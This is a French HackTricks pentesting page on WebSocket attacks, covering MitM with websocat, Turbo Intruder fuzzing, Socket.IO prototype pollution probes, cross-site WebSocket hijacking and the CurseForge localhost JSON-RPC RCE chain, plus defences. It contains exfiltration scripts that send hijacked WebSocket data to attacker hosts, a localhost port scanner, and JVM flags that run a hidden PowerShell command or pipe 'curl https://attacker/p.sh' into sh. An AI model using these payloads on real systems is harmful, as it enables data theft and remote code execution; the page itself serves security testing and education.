Attaques WebSocket
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Que sont les WebSockets
Les connexions WebSocket sont établies via une poignée de main initiale HTTP et sont conçues pour être longues durées, permettant des échanges bidirectionnels à tout moment sans besoin d’un système transactionnel. Cela rend les WebSockets particulièrement avantageux pour les applications nécessitant une faible latence ou une communication initiée par le serveur, comme les flux de données financières en direct.
Établissement des connexions WebSocket
Une explication détaillée sur l’établissement des connexions WebSocket est disponible ici. En résumé, les connexions WebSocket sont généralement initiées via du JavaScript côté client comme montré ci‑dessous:
var ws = new WebSocket("wss://normal-website.com/ws")
Le protocole wss signifie une connexion WebSocket sécurisée avec TLS, tandis que ws indique une connexion non sécurisée.
Lors de l’établissement de la connexion, un handshake est effectué entre le navigateur et le serveur via HTTP. Le processus de handshake implique que le navigateur envoie une requête et que le serveur y réponde, comme illustré dans les exemples suivants :
Le navigateur envoie une requête de handshake :
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Réponse du handshake du Server:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
La connexion reste ouverte pour l’échange de messages dans les deux sens une fois établie.
Key Points of the WebSocket Handshake:
- Les en-têtes
ConnectionetUpgradesignalent l’initiation d’un WebSocket handshake. - L’en-tête
Sec-WebSocket-Versionindique la version du protocole WebSocket souhaitée, généralement13. - Une valeur aléatoire encodée en Base64 est envoyée dans l’en-tête
Sec-WebSocket-Key, garantissant que chaque handshake est unique, ce qui aide à prévenir les problèmes avec des proxies de mise en cache. Cette valeur n’est pas destinée à l’authentification mais sert à confirmer que la réponse n’est pas générée par un serveur ou un cache mal configuré. - L’en-tête
Sec-WebSocket-Acceptdans la réponse du serveur est un hash de laSec-WebSocket-Key, vérifiant l’intention du serveur d’ouvrir une connexion WebSocket.
Ces caractéristiques garantissent que le processus de handshake est sécurisé et fiable, ouvrant la voie à une communication en temps réel efficace.
Console Linux
Vous pouvez utiliser websocat pour établir une connexion brute avec un websocket.
websocat --insecure wss://10.10.10.10:8000 -v
Ou pour créer un serveur websocat :
websocat -s 0.0.0.0:8000 #Listen in port 8000
Connexions websocket MitM
Si vous découvrez que des clients sont connectés à un HTTP websocket depuis votre réseau local actuel, vous pouvez tenter une ARP Spoofing Attack pour effectuer une attaque MitM entre le client et le serveur.
Une fois que le client tente de se connecter à vous, vous pouvez alors utiliser :
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets énumération
Vous pouvez utiliser l’outil https://github.com/PalindromeLabs/STEWS pour découvrir, fingerprint et rechercher des vulnérabilités connues dans les websockets automatiquement.
Websocket — outils de debug
- Burp Suite supporte la communication websockets en MitM d’une manière très similaire à celle utilisée pour la communication HTTP classique.
- L’socketsleuth Burp Suite extension vous permettra de mieux gérer les communications Websocket dans Burp en récupérant l’history, en définissant des interception rules, en utilisant des règles match and replace, ainsi qu’Intruder et AutoRepeater.
- WSSiP: Abréviation de “WebSocket/Socket.io Proxy”, cet outil, écrit en Node.js, fournit une interface utilisateur pour capture, intercept, send custom messages et afficher toutes les communications WebSocket et Socket.IO entre le client et le serveur.
- wsrepl est un interactive websocket REPL conçu spécifiquement pour le pentesting. Il fournit une interface pour observer incoming websocket messages and sending new ones, avec un framework facile à utiliser pour automating cette communication.
- https://websocketking.com/ c’est un outil web pour communiquer avec d’autres webs en utilisant websockets.
- https://hoppscotch.io/realtime/websocket parmi d’autres types de communications/protocoles, il fournit un outil web pour communiquer avec d’autres webs en utilisant websockets.
Décryptage Websocket
Laboratoire Websocket
Dans Burp-Suite-Extender-Montoya-Course vous trouverez un code pour lancer une application web utilisant des websockets et dans cet article vous pouvez trouver une explication.
Websocket Fuzzing
L’extension Burp Backslash Powered Scanner permet désormais de fuzz aussi les messages WebSocket. Vous pouvez lire plus d’informations à ce sujet ici.
WebSocket Turbo Intruder (Burp extension)
WebSocket Turbo Intruder de PortSwigger apporte du scripting Python de type Turbo Intruder et du fuzzing à haut débit aux WebSockets. Installez-le depuis le BApp Store ou depuis les sources. Il inclut deux composants :
- Turbo Intruder : envoi de messages à fort volume vers un seul endpoint WS en utilisant des moteurs personnalisés.
- HTTP Middleware : expose un endpoint HTTP local qui relaie les bodies comme messages WS sur une connexion persistante, de sorte que tout scanner basé sur HTTP puisse sonder les backends WS.
Modèle de script basique pour fuzz un endpoint WS et filtrer les réponses pertinentes :
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Utilisez des décorateurs comme @MatchRegex(...) pour réduire le bruit lorsqu’un seul message déclenche plusieurs réponses.
Passerelle WS derrière HTTP (HTTP Middleware)
Encapsulez une connexion WS persistante et transmettez les corps HTTP comme des messages WS pour des tests automatisés avec des scanners HTTP:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Ensuite, envoyez HTTP localement ; le body est transmis comme le message WS :
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
Cela vous permet de piloter des backends WS tout en filtrant les événements « intéressants » (par ex., SQLi errors, auth bypass, command injection behavior).
Gestion de Socket.IO (handshake, heartbeats, events)
Socket.IO ajoute son propre framing au-dessus de WS. Détectez-le via le paramètre de requête obligatoire EIO (par ex., EIO=4). Maintenez la session vivante avec Ping (2) et Pong (3) et démarrez la conversation avec "40", puis émettez des événements comme 42["message","hello"].
Exemple Intruder:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Variante d’adaptateur HTTP:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Détection de prototype pollution côté serveur via Socket.IO
En suivant PortSwigger’s safe detection technique, essayez de polluer les internals d’Express en envoyant un payload comme :
{"__proto__":{"initialPacket":"Polluted"}}
Si les messages de salutation ou le comportement changent (par ex., echo inclut “Polluted”), vous avez probablement pollué les prototypes côté serveur. L’impact dépend des sinks atteignables ; corrélez avec les gadgets de la section Node.js prototype pollution. Voir :
- Consultez NodeJS – proto & prototype Pollution pour les sinks/gadgets et des idées de chaînage.
WebSocket race conditions with Turbo Intruder
Le moteur par défaut regroupe les messages sur une seule connexion (bon débit, mauvais pour les races). Utilisez le moteur THREADED pour ouvrir plusieurs connexions WS et envoyer des payloads en parallèle afin de déclencher des races logiques (double‑spend, token reuse, state desync). Commencez par le script d’exemple et ajustez la concurrence dans config().
- Apprenez la méthodologie et les alternatives dans Race Condition (voir “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
Créez des trames WS dont l’en-tête déclare une longueur de payload énorme mais sans envoyer de corps. Certains serveurs WS font confiance à cette longueur et préallouent des buffers ; la fixer près de Integer.MAX_VALUE peut provoquer un Out‑Of‑Memory et un DoS distant non authentifié. Voir le script d’exemple.
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput> - Activez le WS Logger pour capturer et corréler les messages en utilisant des IDs internes.
- Utilisez les helpers
inc*/dec*surConnectionpour ajuster la gestion des IDs de message dans des adaptateurs complexes. - Des décorateurs comme
@PingPong/@Ponget des helpers commeisInteresting()réduisent le bruit et maintiennent les sessions actives.
Sécurité opérationnelle
Un fuzzing WS à haut débit peut ouvrir de nombreuses connexions et envoyer des milliers de messages par seconde. Des trames malformées et des taux élevés peuvent provoquer un DoS réel. Utilisez uniquement là où cela est autorisé.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, is identified as a specific case of Cross-Site Request Forgery (CSRF) affecting WebSocket handshakes. Cette vulnérabilité survient lorsque les handshakes WebSocket s’authentifient uniquement via HTTP cookies sans CSRF tokens ni autres mesures de sécurité similaires.
Les attaquants peuvent exploiter cela en hébergeant une page web malveillante qui initie une connexion WebSocket cross-site vers une application vulnérable. En conséquence, cette connexion est traitée comme faisant partie de la session de la victime avec l’application, exploitant l’absence de protection CSRF dans le mécanisme de gestion de session.
Pour que cette attaque fonctionne, les conditions suivantes doivent être remplies :
- L’authentification websocket doit être basée sur des cookies
- Le cookie doit être accessible depuis le serveur de l’attaquant (généralement
SameSite=None), et il ne doit pas y avoir Firefox Total Cookie Protection activé dans Firefox, ni de blocked third-party cookies dans Chrome. - Le serveur websocket ne doit pas vérifier l’origin de la connexion (ou cela doit être contournable)
De plus :
- Si l’authentification repose sur une connexion locale (vers localhost ou un réseau local), l’attaque sera possible car aucune protection actuelle ne l’interdit (voir more info here)
Origin check disabled in Gorilla WebSocket (CheckOrigin always true)
Sur les serveurs Gorilla WebSocket, configurer CheckOrigin pour toujours retourner true accepte les handshakes provenant de n’importe quel Origin. Lorsque l’endpoint WS manque d’authentification, toute page accessible par le navigateur de la victime (Internet ou intranet) peut mettre à niveau un socket et commencer à lire/envoyer des messages cross-site.
<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>
Impact : exfiltration en temps réel de données streamées (p. ex., emails/notifications capturés) sans identifiants utilisateur lorsque n’importe quel Origin est accepté et que l’endpoint ignore l’authentification.
Attaque simple
Notez que lorsque l’on établit une websocket connexion, le cookie est envoyé au serveur. Le serveur peut l’utiliser pour lier chaque utilisateur spécifique à sa session websocket basée sur le cookie envoyé.
Ensuite, si par exemple le websocket serveur renvoie l’historique de la conversation d’un utilisateur si un msg avec “READY” est envoyé, alors une simple XSS établissant la connexion (le cookie sera envoyé automatiquement pour autoriser l’utilisateur victime) envoyant “READY” pourra récupérer l’historique de la conversation.:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie avec un sous-domaine différent
Dans ce billet de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/] l’attaquant a réussi à exécuter du Javascript arbitraire dans un sous-domaine du domaine où la communication Websocket avait lieu. Comme il s’agissait d’un sous-domaine, le cookie était envoyé, et parce que le Websocket ne vérifiait pas correctement l’en-tête Origin, il était possible de communiquer avec lui et d’exfiltrer des tokens.
Voler des données d’un utilisateur
Copiez l’application web que vous voulez usurper (les fichiers .html par exemple) et, dans le script où la communication Websocket a lieu, ajoutez ce code:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Maintenant, téléchargez le fichier wsHook.js depuis https://github.com/skepticfx/wshook et enregistrez-le dans le dossier contenant les fichiers web.
En exposant l’application web et en faisant en sorte qu’un utilisateur s’y connecte, vous pourrez voler les messages envoyés et reçus via websocket:
sudo python3 -m http.server 80
Protections CSWSH
L’attaque CSWSH repose sur le fait qu’un utilisateur se connecte à une page malveillante qui va ouvrir une connexion websocket vers une page web où l’utilisateur est déjà connecté et s’authentifiera en son nom car la requête enverra les cookies de l’utilisateur.
Aujourd’hui, il est très facile de prévenir ce problème :
- Websocket server vérifiant l’Origin : Le serveur websocket doit toujours vérifier d’où un utilisateur se connecte pour empêcher des pages inattendues de s’y connecter.
- Authentication token : Au lieu de baser l’authentification sur un cookie, la connexion websocket pourrait s’appuyer sur un token généré par le serveur pour l’utilisateur et inconnu de l’attaquant (comme un anti-CSRF token).
- SameSite Cookie attribute : Les cookies avec la valeur
SameSiteLaxouStrictne seront pas envoyés depuis une page d’attaquant externe vers le serveur victime ; par conséquent, l’authentification basée sur cookie échouera. Notez que Chrome applique maintenant la valeurLaxaux cookies sans ce flag spécifié, rendant cela plus sûr par défaut. Cependant, pendant les deux premières minutes après la création d’un cookie il aura la valeurNone, le rendant vulnérable durant cette période limitée (et il est attendu que cette mesure soit retirée à terme). - Firefox Total Cookie Protection : Total Cookie Protection fonctionne en isolant les cookies au site où ils sont créés. Essentiellement, chaque site dispose de sa propre partition de stockage de cookies pour empêcher des tiers de corréler l’historique de navigation d’un utilisateur. Cela rend CSWSH inutilisable, car le site de l’attaquant n’aura pas accès aux cookies.
- Chrome third-party cookies block : Cela peut aussi empêcher l’envoi du cookie de l’utilisateur authentifié au serveur websocket même avec
SameSite=None.
Localhost WebSocket abuse & browser port discovery
Les launchers desktop lancent fréquemment des helpers (par ex. CurseForge’s CurseAgent.exe) qui exposent des JSON-RPC WebSockets sur 127.0.0.1:<random_port>. Le navigateur n’applique pas SOP sur les sockets loopback, donc n’importe quelle page Web peut tenter le handshake. Si l’agent accepte des valeurs arbitraires d’Origin et saute l’authentification secondaire, la surface IPC devient contrôlable à distance directement depuis JavaScript.
Enumerating exposed methods
Capturez une session légitime pour apprendre le contrat du protocole. CurseForge, par exemple, émet des frames telles que {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} où name est la méthode RPC et args contient des objets structurés (GUIDs, résolution, flags, etc.). Une fois cette structure connue, vous pouvez invoquer des méthodes telles que createModpack, minecraftGetDefaultLocation, ou toute autre tâche privilégiée directement depuis une page injectée.
Browser-based port discovery
Parce que le helper se lie à un port élevé aléatoire, l’exploit brute-force d’abord localhost via WebSockets. Les navigateurs basés sur Chromium tolèrent ~16k d’échecs d’upgrade avant throttling, ce qui suffit pour parcourir la plage éphémère ; Firefox a tendance à planter ou se figer après quelques centaines d’échecs, donc les PoCs pratiques ciblent souvent Chromium.
Scanner navigateur minimal
```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```Une fois qu’une connexion survit au handshake et renvoie des données spécifiques au protocole, réutilisez ce socket pour la chaîne RPC.
Enchaîner des méthodes JSON-RPC pour RCE
L’exploit CurseForge enchaîne deux appels non authentifiés :
createModpack→ renvoie un nouveauMinecraftInstanceGuidsans interaction utilisateur.minecraftTaskLaunchInstance→ lance ce GUID tout en acceptant des flags JVM arbitraires viaAdditionalJavaArguments.
Les options de diagnostic JNI/JVM fournissent alors une primitive RCE prête à l’emploi. Par exemple, limitez le metaspace pour forcer un crash et exploitez l’error hook pour l’exécution de commandes :
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."
Sur des cibles Unix, remplacez simplement le payload par /bin/sh -c 'curl https://attacker/p.sh | sh'. Ceci fonctionne même si vous ne pouvez pas toucher le code de l’application — contrôler la CLI de la JVM suffit.
Ce pattern « create resource → privileged launch » apparaît souvent dans les updaters et les launchers. Chaque fois que la méthode (1) produit un identifiant suivi par le serveur et que la méthode (2) exécute du code ou lance un processus en utilisant cet identifiant, vérifiez si des arguments contrôlés par l’utilisateur peuvent être injectés.
Race Conditions
Les Race Conditions dans les WebSockets existent également, consultez cette ressource pour en savoir plus.
Autres vulnérabilités
Comme les Web Sockets sont un mécanisme pour envoyer des données côté serveur et côté client, selon la manière dont le serveur et le client traitent ces informations, les Web Sockets peuvent être utilisées pour exploiter plusieurs autres vulnérabilités comme XSS, SQLi ou toute autre vulnérabilité web courante via l’entrée d’un utilisateur depuis un websocket.
WebSocket Smuggling
Cette vulnérabilité peut permettre de bypasser les restrictions des reverse proxies en leur faisant croire qu’une communication websocket a été établie (même si ce n’est pas vrai). Cela pourrait permettre à un attaquant d’accéder à des endpoints cachés. Pour plus d’informations, consultez la page suivante :
Références
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
- When WebSockets Lead to RCE in CurseForge
- Two CVEs, Zero Ego: A Mailpit Story
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


